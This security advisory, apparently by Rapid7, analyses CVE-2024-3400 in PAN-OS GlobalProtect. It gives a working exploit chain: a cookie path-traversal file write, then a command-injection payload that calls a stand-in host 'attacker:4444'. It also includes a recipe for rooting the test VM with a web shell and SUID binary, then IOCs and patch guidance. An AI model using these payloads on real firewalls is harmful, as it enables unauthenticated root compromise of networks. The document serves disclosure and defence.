Activity Feed

Overview

On April 12, 2024, Palo Alto Networks published an advisory for a critical unauthenticated command injection vulnerability affecting several recent versions of PAN-OS, the software that runs on most modern Palo Alto Networks firewall appliances. According to the vendor advisory, CVE-2024-3400 requires that either GlobalProtect Portal or GlobalProtect Gateway be enabled. GlobalProtect is the VPN feature of PAN-OS, and as such the vulnerable components are expected to be internet-facing.

Note: The vendor advisory originally indicated that device telemetry needed to be enabled in addition to GlobalProtect Portal or Gateway; as of April 16, the advisory notes that “Device telemetry does not need to be enabled for PAN-OS firewalls to be exposed to attacks related to this vulnerability.” Disabling device telemetry is also no longer considered an effective mitigation.

CVE-2024-3400 was discovered by security firm Volexity, which detected in-the-wild zero-day exploitation circa April 10, 2024. Both Volexity and Palo Alto Networks have extensive blog posts available with attacker behavior observations and indicators of compromise (IOCs).

Rapid7’s analysis of this vulnerability has identified that the exploit is in fact an exploit chain, consisting of two distinct vulnerabilities: an arbitrary file creation vulnerability in the GlobalProtect web server, for which no discrete CVE has been assigned, and a command injection vulnerability in the device telemetry feature, designated as CVE-2024-3400. If device telemetry is disabled, it is still possible to leverage the file creation vulnerability; at time of writing, however, Rapid7 has not identified an alternative way to leverage the file creation vulnerability for successful exploitation.

Our analysis also found that when device telemetry is enabled, a device certificate must be installed for device telemetry to successfully transmit telemetry data back to Palo Alto Networks. This transmission of data functionality is where the command injection vulnerability lies, and in our testing, the command injection vulnerability could not be triggered without a valid device certificate installed. We observed that transmission of telemetry data only occurs once an hour, per the vendor documentation.

This analysis detailed our findings using PAN-OS version 10.2.9, with GlobalProtect Portal, GlobalProtect Gateway, and device telemetry all enabled.

Analysis

Rooting the Device

Out of the box, PAN-OS implements a limited command-line administrator management shell for console and SSH. In order to perform comprehensive dynamic testing, we want root access to the device. Boot-time integrity checks are performed for many parts of the file system, preventing common easy backdoor tactics like modification of /etc/passwd. However, the /var directory isn’t checked for integrity on boot, which we’ll use to our advantage.

Since /var/appweb/htdocs contains the primary PHP web server files, it can be tampered with and leveraged for code execution as the nobody user. We’ll mount the VMDK virtual machine disk to an Ubuntu system and drop a web shell in the /var/appweb/htdocs/unauth/php directory. Furthermore, because root-level code execution is the goal, we also compile and place a statically linked SUID binary called root in the same directory:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// Compile with /usr/bin/x86_64-linux-musl-gcc -static -o root root.c

int main (int argc, char *argv[]) {
   if (argc < 2) {
      fprintf(stdout, "usage: %s command\n", argv[0]);
      return 1;
   }

   setuid(0);
   setgid(0);
   setgroups(0, NULL);

   execl("/bin/sh", "sh", "-c", argv[1], (char *)NULL);

   perror("execl failed");
   return EXIT_FAILURE;
}

Then:

sudo chown root:root ./root && sudo chmod 4755 ./root

Starting the Palo Alto Networks VM and browsing to https://hostname/unauth/php/backdoor.php yields our web shell, which can be used to execute commands as root.

We’ll execute ./root 'sed -i -e s@/opt/pancfg/home/admin:/usr/local/bin/cli@/opt/pancfg/home/admin:/bin/bash@g /etc/passwd' and snapshot the virtual machine to skip start-up integrity checks. Lastly, we authenticate the machine via SSH to confirm our regular shell is working.

Diffing the Patch

After installing a vulnerable PAN-OS 10.2.9 in a VM and taking a snapshot, we updated our VM to the patched version 10.2.9-h1 and took another snapshot. By using the hard disk images from these snapshots we had access to the underlying hard disk images for each version. Each hard disk contains several partitions. The partition sysroot0 contains the file system contents we want to analyze.

Since we know that either GlobalProtect Portal or GlobalProtect Gateway is required for exploitation, we locate the GlobalProtect service binary /usr/local/bin/gpsvc. This binary services the HTTP requests for both the Portal and Gateway via an NGINX front end that proxies incoming requests to this internal service. The NGINX configuration can be found in /etc/nginx/sslvpm/location.conf.

The gpsvc is written in Go, and we can diff the vulnerable and patched version using a tool like BinDiff. Doing so quickly reveals a small change to the service.

The patched version of gpsvc adds a single function main_isValidSessionId. This function is used to ensure a session ID value (provided by an incoming HTTP request) is a valid UUID value, as shown below:

// main.isValidSessionId
bool __golang main_isValidSessionId(string sessionId)
{
  return (unsigned __int64)github_com_google_uuid_Parse(sessionId)._r2.tab == 0;
}

The main_isValidSessionId function is called by main__ptr_SessDiskStore_New and will extract an HTTP request’s session ID value from the SESSID HTTP cookie. It will then verify that the session ID value is a UUID before either creating a new session file on disk using the value, or loading an existing session from disk if one already exists. If the session ID is not a UUID value, an “invalid session id” message is logged. We can therefore speculate that in a vulnerable version of PAN-OS, an attacker-controlled session ID can contain arbitrary values that are not a valid UUID and that these may be written to disk when creating a new session for the incoming request.

As we still have not identified the command injection vulnerability, we locate the programs that perform the device telemetry feature. These include:

• /usr/local/bin/devicetelemetry
  
• /usr/local/bin/telemetry_collection.py
  
• /etc/device_telemetry/cfg_telem.yaml
  
• /usr/local/bin/dt_send
  
• /usr/local/bin/dt_curl
  

We identify dt_curl as containing several modifications, which clearly show two locations that have been modified to prevent command injection from occurring.

--- a/10.2.9_dt_curl
+++ b/10.2.9_h1_dt_curl
@@ -431,26 +431,28 @@ def get_key(logger, dbg, ip, fname, \
    content_type_str = " -H \"Content-Type: application/json\""
    # with stg5 cdl rx, port is not required
    #api_endpoint_str = "'https://%s:8443/upload/start'" %ip
-   api_endpoint_str = "'https://%s/upload/start'" %ip
+   api_endpoint_str = "https://%s/upload/start" %ip

    # Note: in the latest stage5 cdl setup, cert type is not required. Set it to empty
    if cert_type.lower() != CLIENT_CERT_TYPE_P12.lower():
        cert_type_str = ""

-   curl_cmd_fmt = None
    source_ip_str = get_source_ip(logger,dbg)
    if source_ip_str is not None and source_ip_str != "":
-       curl_cmd_fmt = "/usr/bin/curl -v %s %s --interface %s" %(cert_type_str, cert_file_str,source_ip_str)
+       payload = '{"fileName":"' + fname + '","schema":"telemetry.raw"}'
+       curl_list = ['/usr/bin/curl', '-v', '--key', f"{client_key}", '--cert', f"{cert_file}", '--capath', f"{capath}", '-H',
+                    'Content-Type: application/json', '--interface', f"{source_ip_str}", '-X', 'POST',
+                    f"{api_endpoint_str}", "-d", f"{payload}"]
    else:
-       curl_cmd_fmt = "/usr/bin/curl -v %s %s" %(cert_type_str, cert_file_str)
+       payload = '{"fileName":"' + fname + '","schema":"telemetry.raw"}'
+       curl_list = ['/usr/bin/curl', '-v', '--key', f"{client_key}", '--cert', f"{cert_file}", '--capath', f"{capath}", '-H',
+                    'Content-Type: application/json', '-X', 'POST', f"{api_endpoint_str}", "-d", f"{payload}"]

    if dbg:
-       logger.info("S1: KEY: CDL: curl cmd format: %s" %curl_cmd_fmt)
-   curl_cmd = "%s  -H \"Content-Type: application/json\" -X POST %s -d'{ \"fileName\": \"%s\", \"schema\": \"telemetry.raw\"}'" \
-                   %(curl_cmd_fmt, api_endpoint_str, fname)
-   if dbg:
-       logger.info("S1: KEY: CDL curl cmd: %s" %curl_cmd)
-   stat, rsp, err, pid = pansys(curl_cmd, shell=True, timeout=250)
+       logger.info("S1: KEY: CDL curl cmd: %s" %repr(curl_list))
+       logger.info("S1: KEY: CDL curl cmd: %s" % " ".join(curl_list))
+
+   stat, rsp, err, pid = pansys(curl_list, shell=False, timeout=250)
    if dbg:
        logger.info("S1: CDL: RSP KEY STAT: %s" %stat)
        logger.info("S1: CDL: RSP KEY RESPONSE: %s" %rsp)
@@ -512,14 +514,14 @@ def get_key(logger, dbg, ip, fname, \
 def send_file(logger, dbg, fname, dest_ip, key, signedUrl, capath):
     source_ip_str = get_source_ip(logger,dbg)
     if source_ip_str is not None and source_ip_str != "":
-        curl_cmd = "/usr/bin/curl -v -H \"Content-Type: application/octet-stream\" -X PUT \"%s\" --data-binary @%s --capath %s --interface %s" \
-                     %(signedUrl, fname, capath, source_ip_str)
+        curl_list = ['/usr/bin/curl', '-v', '-H', 'Content-Type: application/octet-stream', '-X', 'PUT', f"{signedUrl}", '--data-binary', f"@{fname}", '--capath', f"{capath}", '--interface', f"{source_ip_str}"]
     else:
-        curl_cmd = "/usr/bin/curl -v -H \"Content-Type: application/octet-stream\" -X PUT \"%s\" --data-binary @%s --capath %s" \
-                     %(signedUrl, fname, capath)
+        curl_list = ['/usr/bin/curl', '-v', '-H', 'Content-Type: application/octet-stream', '-X', 'PUT', f"{signedUrl}", '--data-binary', f"@{fname}", '--capath', f"{capath}"]
+
     if dbg:
-        logger.info("S2: XFILE: send_file: curl cmd: '%s'" %curl_cmd)
-    stat, rsp, err, pid = pansys(curl_cmd, shell=True, timeout=250)
+        logger.info("S2: XFILE: send_file: curl_list: '%s'" %repr(curl_list))
+        logger.info("S2: XFILE: send_file: curl cmd: '%s'" % " ".join(curl_list))
+    stat, rsp, err, pid = pansys(curl_list, shell=False, timeout=250)

     if dbg:
         logger.info("S2: send_file: RSP STAT: %s" %stat)

We can see from the diff of the send_file function above that a command string is constructed to execute the cURL binary in order to upload a file to a server, and this command string is passed to the pansys function to execute the command. We can also see from the diff that the shell parameter to pansys has been changed from True to False.

Examining the vulnerable version of the send_file function in isolation, we can see how it works below:

def send_file(logger, dbg, fname, dest_ip, key, signedUrl, capath):
    source_ip_str = get_source_ip(logger,dbg)
    if source_ip_str is not None and source_ip_str != "": 
        curl_cmd = "/usr/bin/curl -v -H \"Content-Type: application/octet-stream\" -X PUT \"%s\" --data-binary @%s --capath %s --interface %s" \
                     %(signedUrl, fname, capath, source_ip_str)
    else:
        curl_cmd = "/usr/bin/curl -v -H \"Content-Type: application/octet-stream\" -X PUT \"%s\" --data-binary @%s --capath %s" \
                     %(signedUrl, fname, capath)
    if dbg:
        logger.info("S2: XFILE: send_file: curl cmd: '%s'" %curl_cmd)
    stat, rsp, err, pid = pansys(curl_cmd, shell=True, timeout=250)

It is likely that an attacker-controlled file name passed in the fname variable can be used to perform command injection when the curl_cmd string is executed via pansys.

The function pansys is from a library function pansys.pansys().dosys located in /usr/lib64/python3.6/site-packages/pansys/pansys.py and has the following code:

    def dosys(self, command, close_fds=True, shell=False, timeout=30, first_wait=None):
        """call shell-command and either return its output or kill it
           if it doesn't normally exit within timeout seconds"""
    
        # Define dosys specific constants here
        PANSYS_POST_SIGKILL_RETRY_COUNT = 5

        # how long to pause between poll-readline-readline cycles
        PANSYS_DOSYS_PAUSE = 0.1

        # Use first_wait if time to complete is lengthy and can be estimated 
        if first_wait == None:
            first_wait = PANSYS_DOSYS_PAUSE

        # restrict the maximum possible dosys timeout
        PANSYS_DOSYS_MAX_TIMEOUT = 23 * 60 * 60
        # Can support upto 2GB per stream
        out = StringIO()
        err = StringIO()

        try:
            if shell:
                cmd = command
            else:
                cmd = command.split()
        except AttributeError: cmd = command

        p = subprocess.Popen(cmd, stdout=subprocess.PIPE, bufsize=1, shell=shell,
                 stderr=subprocess.PIPE, close_fds=close_fds, universal_newlines=True)

We can see the command string is executed via subprocess.Popen and the shell parameter, when passed in by the vulnerable version of dt_send, will be True. This is unsafe, as the command string will be executed in the context of a Linux shell, and as such will have access to shell features, such as backticks, pipes, redirects, and so on — perfect for executing an attacker-controlled input.

Arbitrary File Creation

The gpsvc GlobalProtect application serves an HTTPS service on port 443.

The web server sets a SESSID cookie for unauthenticated sessions, and the data affiliated with the session cookie is placed in /tmp/sslvpn.

Since the cookie data is appended to the session_ string, we’ll try sending different data within the SESSID cookie:

curl https://hostname/global-protect/login.esp -k -H 'Cookie: SESSID=test_data'

Checking the session directory confirms that our data was written!

$ ls -lha /tmp/sslvpn/session_test_data
-rw-------   1 root root    0 Apr 15 12:50 session_test_data

A quick test shows that the session_ prefix can be avoided altogether by prepending a traversal sequence, resulting in an arbitrary empty file write. The request type can be GET or POST, just so long as it’s a properly structured HTTPS request to a valid endpoint.

curl https://hostname/global-protect/login.esp -k -H 'Cookie: SESSID=./../../../hello_as_root'

$ ls -lha /hello_as_root
-rw-------   1 root root    0 Apr 15 12:55 hello_as_root

Command Injection Exploitation

At this point, we’ve established some strong primitives. We have the ability to create arbitrarily named empty files anywhere on the file system as root. Since we’ve also determined that the telemetry service is vulnerable to command injection via the file name parameter, we can begin to put the pieces together. The telemetry service runs routinely, via the cron job located in /etc/cron.d/device_telemetry_send. The script /usr/local/bin/dt_send will crawl the /opt/panlogs/tmp/device_telemetry/hour and /opt/panlogs/tmp/device_telemetry/day directories for new files, then include the file names in a cURL request every hour, via the /usr/local/bin/dt_curl script.

Notably, we did not observe payloads placed in /opt/panlogs/tmp/device_telemetry/minute executing on our vulnerable 10.2.9 test instances. Based on Palo Alto Networks’s documentation, it appears that PAN-OS may transmit telemetry differently across affected versions, so payload placement requirements and execution timelines may vary.

To trigger remote code execution, we perform an unauthenticated cURL request to the GlobalProtect web server with a crafted payload in the SESSID cookie value. When the server executes its telemetry transmission process once per hour, the payload will be executed and removed from the telemetry directory.

curl https://hostname/global-protect/login.esp -k -H 'Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/hour/aaa`curl${IFS}attacker:4444?user=$(whoami)`'

After a short wait, we can establish remote code execution:

$ ps auxfw
[..]
/usr/bin/python -t /usr/local/bin/dt_curl -i 35.184.126.116 -f /opt/panlogs/tmp/device_telemetry/hour/aaa`curl${IFS}attacker:4444?user=$(whoami)`'

On the attacker machine, a Python web server receives a GET request that indicates our code was executed with root privileges.

python3 -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...
192.168.50.226 - - [15/Apr/2024 19:00:17] "GET /?user=root HTTP/1.1" 200 -

IOCs

Successful exploitation may leave artifacts in several folders and log files used by PAN-OS.

The NGINX frontend web server, which proxies requests to the GlobalProtect service, will log all HTTP requests to /var/log/nginx/sslvpn_access.log. While we will not be able to see the HTTP POST data with the malicious SESSID cookies, we can view the requests the server has processed and the associated client IP address. Note the SESSID cookie can be passed via other HTTP methods, such as GET.

192.168.86.34 51232 - 192.168.86.20 20077 [16/Apr/2024:02:53:31 -0700] "POST /global-protect/logout.esp HTTP/1.1" 200 4406 "-" "curl/8.4.0" 1713261211.617 0.002 0.002 987
127.0.0.1 57108 - 127.0.0.1 20077 [16/Apr/2024:02:54:03 -0700] "GET /sslvpn_ngx_status HTTP/1.1" 200 103 "-" "Wget/1.19.5 (linux-gnu)" 1713261243.774 0.000 - 989
192.168.86.34 51275 - 192.168.86.20 20077 [16/Apr/2024:02:54:24 -0700] "POST /global-protect/login.esp HTTP/1.1" 200 11364 "-" "curl/8.4.0" 1713261264.522 0.002 0.002 991

Similarly, the log file /var/log/pan/sslvpn-access/sslvpn-access.log will also contain a log of the HTTP requests, as shown below:

192.168.86.34   [2024-04-16 02:53:31.616147783 -0700 PDT] POST /global-protect/logout.esp HTTP/1.1 0 200 4406, taskid 37
[rate] http request rate is 0.1/s in last 10 seconds
192.168.86.34   [2024-04-16 02:54:24.521150674 -0700 PDT] POST /global-protect/login.esp HTTP/1.1 0 200 11364, taskid 38
[rate] http request rate is 0.1/s in last 10 seconds

When targeting device telemetry for command injection, the attacker will place a 0 length file in one of the subfolders in /opt/panlogs/tmp/device_telemetry/, such as /opt/panlogs/tmp/device_telemetry/hour/ or /opt/panlogs/tmp/device_telemetry/day/. This file name will include characters suitable for command injection. The contents of this folder, and the sub-folders, should be reviewed for suspicious 0 length files.

The log file /var/log/pan/device_telemetry_send.log will show the command being injected:

2024-04-16 10:03:03,628 dt_send INFO TX_DIR: send file dir: /opt/panlogs/tmp/device_telemetry/day/, n_files: 1
2024-04-16 10:03:03,628 dt_send INFO sorted file list: tmp_dir: /opt/panlogs/tmp/device_telemetry/day/*
2024-04-16 10:03:03,629 dt_send INFO TX_DIR: send file dir: fname: /opt/panlogs/tmp/device_telemetry/day/aaa`curl${IFS}attacker:4444?user=$(whoami)`
2024-04-16 10:03:03,629 dt_send INFO TX FILE: send_fname: /opt/panlogs/tmp/device_telemetry/day/aaa`curl${IFS}attacker:4444?user=$(whoami)`
2024-04-16 10:03:03,630 dt_send INFO TX_FILE: dest server ip: 35.184.126.116
2024-04-16 10:03:03,630 dt_send INFO TX FILE: send_file_cmd: /usr/local/bin/dt_curl -i 35.184.126.116 -f /opt/panlogs/tmp/device_telemetry/day/aaa`curl${IFS}attacker:4444?user=$(whoami)`
2024-04-16 10:05:21,152 dt_send INFO TX FILE: curl cmd status: 24, 24; err msg: 'DNS lookup failed'

Remediation

The following versions of PAN-OS are listed as vulnerable as of April 16, 2024. Notably, Palo Alto Networks has updated the advisory with additional vulnerable versions since releasing the original advisory on CVE-2024-3400.

• PAN-OS 11.1 (before 11.1.2-h3)
  
• PAN-OS 11.0 (before 11.0.4-h1)
  
• PAN-OS 10.2 (before 10.2.7-h8, before 10.2.8-h3, before 10.2.9-h1)
  
• Additional versions have been added to the advisory since initial publication
  

Patches are available from the vendor and should be applied on an urgent basis. If you are unable to apply patches, Rapid7 strongly recommends applying one of the vendor-supplied mitigations on an emergency basis. Please see the vendor advisory for further information.

References

• Rapid7 blog
  
• Palo Alto Networks advisory
  
• Palo Alto Networks Unit 42 blog
  
• Volexity blog